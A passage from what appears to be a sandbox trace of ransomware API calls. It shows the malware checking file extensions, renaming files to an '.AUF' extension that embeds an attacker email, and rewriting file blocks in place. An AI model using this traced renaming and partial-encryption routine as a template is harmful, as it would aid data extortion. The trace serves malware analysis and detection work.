(lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0204.188] lstrlenW (lpString=".1cd") returned 4 [0204.188] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0204.188] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0204.188] lstrlenW (lpString=".jpg") returned 4 [0204.189] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0204.190] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0204.190] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0204.190] lstrlenW (lpString=".doc") returned 4 [0204.190] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0204.190] lstrlenW (lpString=".docx") returned 5 [0204.190] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0204.190] lstrlenW (lpString=".pdf") returned 4 [0204.190] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0204.190] lstrlenW (lpString=".xls") returned 4 [0204.190] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0204.190] lstrlenW (lpString=".xlsx") returned 5 [0204.190] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0204.190] lstrlenW (lpString=".ppt") returned 4 [0204.190] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0204.190] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0204.190] lstrlenW (lpString=".zip") returned 4 [0204.190] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0204.190] lstrlenW (lpString=".rar") returned 4 [0204.190] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0204.190] lstrlenW (lpString=".bz2") returned 4 [0204.190] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0204.190] lstrlenW (lpString=".7z") returned 3 [0204.190] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0204.190] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0204.190] lstrlenW (lpString=".dbf") returned 4 [0204.190] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0204.190] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0204.190] lstrlenW (lpString=".1cd") returned 4 [0204.190] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0204.190] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0204.190] lstrlenW (lpString=".jpg") returned 4 [0204.190] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0204.191] lstrcmpiW (lpString1=".mui", lpString2=".AUF") returned 1 [0204.191] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0204.191] CreateFileW (lpFileName="C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0204.191] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x30dff1c | out: lpFileSize=0x30dff1c*=76352) returned 1 [0204.191] CloseHandle (hObject=0x184) returned 1 [0204.191] GetFileAttributesW (lpFileName="C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui")) returned 0x20 [0204.191] GetFileAttributesW (lpFileName="C:\\Boot\\ja-JP\\bootmgr.exe.mui.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0204.191] CreateFileW (lpFileName="C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0204.191] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0204.191] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0204.191] lstrlenW (lpString=".doc") returned 4 [0204.191] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0204.191] lstrlenW (lpString=".docx") returned 5 [0204.191] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0204.191] lstrlenW (lpString=".pdf") returned 4 [0204.191] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0204.191] lstrlenW (lpString=".xls") returned 4 [0204.191] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0204.191] lstrlenW (lpString=".xlsx") returned 5 [0204.191] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0204.191] lstrlenW (lpString=".ppt") returned 4 [0204.191] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0204.191] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0204.191] lstrlenW (lpString=".zip") returned 4 [0204.191] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0204.191] lstrlenW (lpString=".rar") returned 4 [0204.191] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0204.191] lstrlenW (lpString=".bz2") returned 4 [0204.191] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0204.192] lstrlenW (lpString=".7z") returned 3 [0204.192] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0204.192] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0204.192] lstrlenW (lpString=".dbf") returned 4 [0204.192] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0204.192] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0204.192] lstrlenW (lpString=".1cd") returned 4 [0204.192] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0204.192] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0204.192] lstrlenW (lpString=".jpg") returned 4 [0204.192] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0204.192] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0204.192] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0204.192] lstrlenW (lpString=".doc") returned 4 [0204.192] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0204.192] lstrlenW (lpString=".docx") returned 5 [0204.192] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0204.192] lstrlenW (lpString=".pdf") returned 4 [0204.192] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0204.192] lstrlenW (lpString=".xls") returned 4 [0204.192] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0204.192] lstrlenW (lpString=".xlsx") returned 5 [0204.192] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0204.192] lstrlenW (lpString=".ppt") returned 4 [0204.192] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0204.192] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0204.192] lstrlenW (lpString=".zip") returned 4 [0204.192] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0204.192] lstrlenW (lpString=".rar") returned 4 [0204.192] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0204.192] lstrlenW (lpString=".bz2") returned 4 [0204.192] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0204.192] lstrlenW (lpString=".7z") returned 3 [0204.192] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0204.192] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0204.192] lstrlenW (lpString=".dbf") returned 4 [0204.192] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0204.192] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0204.192] lstrlenW (lpString=".1cd") returned 4 [0204.192] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0204.192] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0204.192] lstrlenW (lpString=".jpg") returned 4 [0204.192] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0204.192] lstrcmpiW (lpString1=".mui", lpString2=".AUF") returned 1 [0204.192] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0204.192] CreateFileW (lpFileName="C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0204.193] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x30dff1c | out: lpFileSize=0x30dff1c*=75344) returned 1 [0204.193] CloseHandle (hObject=0x184) returned 1 [0204.193] GetFileAttributesW (lpFileName="C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui")) returned 0x20 [0204.193] GetFileAttributesW (lpFileName="C:\\Boot\\ko-KR\\bootmgr.exe.mui.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0204.193] CreateFileW (lpFileName="C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0204.193] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0204.193] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0204.193] lstrlenW (lpString=".doc") returned 4 [0204.193] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0204.193] lstrlenW (lpString=".docx") returned 5 [0204.193] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0204.193] lstrlenW (lpString=".pdf") returned 4 [0204.193] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0204.193] lstrlenW (lpString=".xls") returned 4 [0204.193] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0204.193] lstrlenW (lpString=".xlsx") returned 5 [0204.193] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0204.193] lstrlenW (lpString=".ppt") returned 4 [0204.193] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0204.193] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0204.193] lstrlenW (lpString=".zip") returned 4 [0204.193] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0204.193] lstrlenW (lpString=".rar") returned 4 [0204.193] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0204.193] lstrlenW (lpString=".bz2") returned 4 [0204.193] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0204.193] lstrlenW (lpString=".7z") returned 3 [0204.193] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0204.193] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0204.193] lstrlenW (lpString=".dbf") returned 4 [0204.193] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0204.193] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0204.193] lstrlenW (lpString=".1cd") returned 4 [0204.193] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0204.194] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0204.194] lstrlenW (lpString=".jpg") returned 4 [0204.194] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0204.194] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0204.194] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0204.194] lstrlenW (lpString=".doc") returned 4 [0204.194] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0204.194] lstrlenW (lpString=".docx") returned 5 [0204.194] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0204.194] lstrlenW (lpString=".pdf") returned 4 [0204.194] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0204.194] lstrlenW (lpString=".xls") returned 4 [0204.194] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0204.194] lstrlenW (lpString=".xlsx") returned 5 [0204.194] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0204.194] lstrlenW (lpString=".ppt") returned 4 [0204.194] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0204.194] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0204.194] lstrlenW (lpString=".zip") returned 4 [0204.194] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0204.194] lstrlenW (lpString=".rar") returned 4 [0204.194] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0204.194] lstrlenW (lpString=".bz2") returned 4 [0204.194] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0204.194] lstrlenW (lpString=".7z") returned 3 [0204.194] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0204.194] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0204.194] lstrlenW (lpString=".dbf") returned 4 [0204.194] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0204.194] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0204.194] lstrlenW (lpString=".1cd") returned 4 [0204.194] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0204.194] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0204.194] lstrlenW (lpString=".jpg") returned 4 [0204.194] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0204.194] lstrcmpiW (lpString1=".exe", lpString2=".AUF") returned 1 [0204.194] lstrlenW (lpString="memtest.exe") returned 11 [0204.194] CreateFileW (lpFileName="C:\\Boot\\memtest.exe" (normalized: "c:\\boot\\memtest.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0204.195] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x30dff1c | out: lpFileSize=0x30dff1c*=485760) returned 1 [0204.195] CloseHandle (hObject=0x184) returned 1 [0204.195] GetFileAttributesW (lpFileName="C:\\Boot\\memtest.exe" (normalized: "c:\\boot\\memtest.exe")) returned 0x20 [0204.195] GetFileAttributesW (lpFileName="C:\\Boot\\memtest.exe.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\boot\\memtest.exe.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0204.195] CreateFileW (lpFileName="C:\\Boot\\memtest.exe" (normalized: "c:\\boot\\memtest.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0204.195] lstrlenW (lpString="C:\\Boot\\memtest.exe") returned 19 [0204.195] lstrlenW (lpString="C:\\Boot\\memtest.exe") returned 19 [0204.195] lstrlenW (lpString=".doc") returned 4 [0204.195] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0204.195] lstrlenW (lpString=".docx") returned 5 [0204.195] lstrcmpiW (lpString1=".docx", lpString2="t.exe") returned -1 [0204.195] lstrlenW (lpString=".pdf") returned 4 [0204.195] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0204.195] lstrlenW (lpString=".xls") returned 4 [0204.195] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0204.195] lstrlenW (lpString=".xlsx") returned 5 [0204.195] lstrcmpiW (lpString1=".xlsx", lpString2="t.exe") returned -1 [0204.195] lstrlenW (lpString=".ppt") returned 4 [0204.195] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0204.195] lstrlenW (lpString="C:\\Boot\\memtest.exe") returned 19 [0204.195] lstrlenW (lpString=".zip") returned 4 [0204.195] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0204.195] lstrlenW (lpString=".rar") returned 4 [0204.195] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0204.195] lstrlenW (lpString=".bz2") returned 4 [0204.195] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0204.195] lstrlenW (lpString=".7z") returned 3 [0204.195] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0204.531] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab.id-9c354b42.[decisivekey@tutanota.com].auf")) [0204.531] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 1 [0204.531] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0204.532] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfc6c | out: lpNewFilePointer=0x0) returned 1 [0204.532] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfc2c | out: lpNewFilePointer=0x0) returned 1 [0204.532] ReadFile (in: hFile=0x198, lpBuffer=0x3c30058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x30dfc38, lpOverlapped=0x0 | out: lpBuffer=0x3c30058*, lpNumberOfBytesRead=0x30dfc38*=0x40000, lpOverlapped=0x0) returned 1 [0204.687] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x56543e, lpNewFilePointer=0x0, dwMoveMethod=0x30dfc2c | out: lpNewFilePointer=0x0) returned 1 [0204.687] ReadFile (in: hFile=0x198, lpBuffer=0x3c70058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x30dfc38, lpOverlapped=0x0 | out: lpBuffer=0x3c70058*, lpNumberOfBytesRead=0x30dfc38*=0x40000, lpOverlapped=0x0) returned 1 [0204.847] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x30dfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0204.847] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0xfefcbb, lpNewFilePointer=0x0, dwMoveMethod=0x30dfc2c | out: lpNewFilePointer=0x0) returned 1 [0204.847] ReadFile (in: hFile=0x198, lpBuffer=0x3cb0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x30dfc38, lpOverlapped=0x0 | out: lpBuffer=0x3cb0058*, lpNumberOfBytesRead=0x30dfc38*=0x40000, lpOverlapped=0x0) returned 1 [0205.267] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec8 | out: lpNewFilePointer=0x0) returned 1 [0205.267] WriteFile (in: hFile=0x198, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x30dfcb0, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x30dfcb0*=0xc0102, lpOverlapped=0x0) returned 1 [0205.276] SetEndOfFile (hFile=0x198) returned 1 [0205.277] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfc7c | out: lpNewFilePointer=0x0) returned 1 [0205.277] WriteFile (in: hFile=0x198, lpBuffer=0x3fb9078*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x30dfc88, lpOverlapped=0x0 | out: lpBuffer=0x3fb9078*, lpNumberOfBytesWritten=0x30dfc88*=0x40000, lpOverlapped=0x0) returned 1 [0205.280] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x56543e, lpNewFilePointer=0x0, dwMoveMethod=0x30dfc7c | out: lpNewFilePointer=0x0) returned 1 [0205.280] WriteFile (in: hFile=0x198, lpBuffer=0x3fb9078*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x30dfc88, lpOverlapped=0x0 | out: lpBuffer=0x3fb9078*, lpNumberOfBytesWritten=0x30dfc88*=0x40000, lpOverlapped=0x0) returned 1 [0205.281] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0xfefcbb, lpNewFilePointer=0x0, dwMoveMethod=0x30dfc7c | out: lpNewFilePointer=0x0) returned 1 [0205.281] WriteFile (in: hFile=0x198, lpBuffer=0x3fb9078*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x30dfc88, lpOverlapped=0x0 | out: lpBuffer=0x3fb9078*, lpNumberOfBytesWritten=0x30dfc88*=0x40000, lpOverlapped=0x0) returned 1 [0205.282] CloseHandle (hObject=0x198) returned 1 [0206.216] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x2020) returned 1 [0206.216] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0206.216] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0206.216] lstrlenW (lpString=".doc") returned 4 [0206.216] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0206.216] lstrlenW (lpString=".docx") returned 5 [0206.216] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0206.216] lstrlenW (lpString=".pdf") returned 4 [0206.216] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0206.216] lstrlenW (lpString=".xls") returned 4 [0206.216] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0206.216] lstrlenW (lpString=".xlsx") returned 5 [0206.216] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0206.216] lstrlenW (lpString=".ppt") returned 4 [0206.216] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0206.216] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0206.216] lstrlenW (lpString=".zip") returned 4 [0206.216] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0206.216] lstrlenW (lpString=".rar") returned 4 [0206.216] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0206.216] lstrlenW (lpString=".bz2") returned 4 [0206.217] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0206.217] lstrlenW (lpString=".7z") returned 3 [0206.217] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0206.217] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0206.217] lstrlenW (lpString=".dbf") returned 4 [0206.217] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0206.217] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0206.217] lstrlenW (lpString=".1cd") returned 4 [0206.217] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0206.217] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0206.217] lstrlenW (lpString=".jpg") returned 4 [0206.217] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0206.217] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0206.217] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0206.217] lstrlenW (lpString=".doc") returned 4 [0206.217] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0206.217] lstrlenW (lpString=".docx") returned 5 [0206.217] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0206.217] lstrlenW (lpString=".pdf") returned 4 [0206.217] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0206.217] lstrlenW (lpString=".xls") returned 4 [0206.217] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0206.217] lstrlenW (lpString=".xlsx") returned 5 [0206.217] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0206.217] lstrlenW (lpString=".ppt") returned 4 [0206.217] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0206.217] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0206.217] lstrlenW (lpString=".zip") returned 4 [0206.217] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0206.217] lstrlenW (lpString=".rar") returned 4 [0206.217] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0206.217] lstrlenW (lpString=".bz2") returned 4 [0206.217] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0206.217] lstrlenW (lpString=".7z") returned 3 [0206.217] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0206.217] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0206.217] lstrlenW (lpString=".dbf") returned 4 [0206.217] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0206.217] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0206.217] lstrlenW (lpString=".1cd") returned 4 [0206.217] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0206.217] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0206.217] lstrlenW (lpString=".jpg") returned 4 [0206.218] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0206.218] lstrcmpiW (lpString1=".cab", lpString2=".AUF") returned 1 [0206.218] lstrlenW (lpString="WordLR.cab") returned 10 [0206.218] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0206.218] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x30dff1c | out: lpFileSize=0x30dff1c*=43806141) returned 1 [0206.218] CloseHandle (hObject=0x198) returned 1 [0206.218] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab")) returned 0x2020 [0206.218] GetFileAttributesW (lpFileName="C:\\MSOCache\\All 